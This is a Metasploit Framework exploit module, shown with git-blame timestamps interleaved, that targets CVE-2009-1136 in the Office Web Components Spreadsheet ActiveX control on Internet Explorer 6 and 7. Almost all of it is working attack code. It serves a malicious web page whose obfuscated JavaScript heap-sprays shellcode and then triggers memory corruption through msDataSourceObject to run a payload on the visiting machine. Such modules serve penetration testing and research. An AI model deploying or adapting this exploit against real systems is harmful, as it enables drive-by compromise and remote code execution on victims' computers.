2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption',
|
|
|
|
'Description' => %q{
|
2010-07-20 06:24:19 +00:00
|
|
|
This module exploits a memory corruption vulnerability within versions 10 and 11 of
|
2010-07-20 23:28:47 +00:00
|
|
|
the Office Web Component Spreadsheet ActiveX control. This module was based on
|
2010-07-20 06:24:19 +00:00
|
|
|
an exploit found in the wild.
|
2009-12-15 18:47:29 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2010-07-20 06:24:19 +00:00
|
|
|
'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ],
|
2009-12-15 18:47:29 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-1136' ],
|
2010-07-20 06:24:19 +00:00
|
|
|
[ 'OSVDB', '55806' ],
|
2009-12-15 18:47:29 +00:00
|
|
|
[ 'MSB', 'MS09-043' ],
|
2010-07-20 06:24:19 +00:00
|
|
|
[ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ],
|
2012-10-23 19:02:09 +00:00
|
|
|
[ 'EDB', '9163' ],
|
2010-07-20 06:24:19 +00:00
|
|
|
# broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],
|
2009-12-15 18:47:29 +00:00
|
|
|
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ],
|
2010-05-03 17:13:09 +00:00
|
|
|
],
|
2009-12-15 18:47:29 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
2010-05-03 17:13:09 +00:00
|
|
|
'BadChars' => '',
|
2009-12-15 18:47:29 +00:00
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-07-20 06:24:19 +00:00
|
|
|
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c
|
2009-12-15 18:47:29 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 13 2009',
|
|
|
|
'DefaultTarget' => 0))
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
# Send a redirect with the javascript encoding key
|
|
|
|
#if (!request.uri.match(/\?\w+/))
|
|
|
|
# send_local_redirect(cli, "?#{@javascript_encode_key}")
|
|
|
|
# return
|
|
|
|
#end
|
|
|
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("Sending #{self.name}")
|
2010-05-03 17:13:09 +00:00
|
|
|
|
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
shellcode = Rex::Text.to_unescape(p.encoded)
|
|
|
|
retaddr = Rex::Text.to_unescape([target.ret].pack('V'))
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
js = %Q|
|
2010-07-20 06:24:19 +00:00
|
|
|
var xshellcode = unescape("#{shellcode}");
|
|
|
|
|
|
|
|
var xarray = new Array();
|
|
|
|
var xls = 0x81000-(xshellcode.length*2);
|
|
|
|
var xbigblock = unescape("#{retaddr}");
|
|
|
|
|
|
|
|
while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
|
|
|
|
var xlh = xbigblock.substring(0, xls / 2);
|
|
|
|
delete xbigblock;
|
|
|
|
|
|
|
|
for(xi=0; xi<0x99*2; xi++) {
|
|
|
|
xarray[xi] = xlh + xlh + xshellcode;
|
|
|
|
}
|
|
|
|
|
|
|
|
CollectGarbage();
|
|
|
|
|
|
|
|
var xobj;
|
|
|
|
try {
|
|
|
|
xobj = new ActiveXObject("OWC10.Spreadsheet");
|
|
|
|
} catch(err) {
|
|
|
|
try {
|
2010-07-20 23:28:47 +00:00
|
|
|
xobj = new ActiveXObject("OWC11.Spreadsheet");
|
2010-07-20 06:24:19 +00:00
|
|
|
} catch(err) {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
xe = new Array();
|
|
|
|
xe.push(1);
|
|
|
|
xe.push(2);
|
|
|
|
xe.push(0);
|
|
|
|
xe.push(window);
|
|
|
|
|
|
|
|
for(xi=0; xi < xe.length; xi++){
|
|
|
|
for(xj=0; xj<10; xj++){
|
|
|
|
try { xobj.Evaluate(xe[xi]); } catch(e) { }
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
window.status = xe[3] + '';
|
|
|
|
|
|
|
|
for(xj=0; xj<10; xj++){
|
|
|
|
try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
|
|
|
|
}
|
|
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
# Obfuscate it up a bit
|
|
|
|
js = obfuscate_js(js,
|
|
|
|
'Symbols' => {
|
2010-07-20 06:24:19 +00:00
|
|
|
'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}
|
2009-12-15 18:47:29 +00:00
|
|
|
}
|
|
|
|
).to_s
|
2010-05-03 17:13:09 +00:00
|
|
|
|
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
# Encode the javascript payload with the URI key
|
|
|
|
# js = encrypt_js(js, @javascript_encode_key)
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
# Fire off the page to the client
|
|
|
|
send_response(cli, "<html><script language='javascript'>#{js}</script></html>")
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
# Handle the payload
|
|
|
|
handler(cli)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|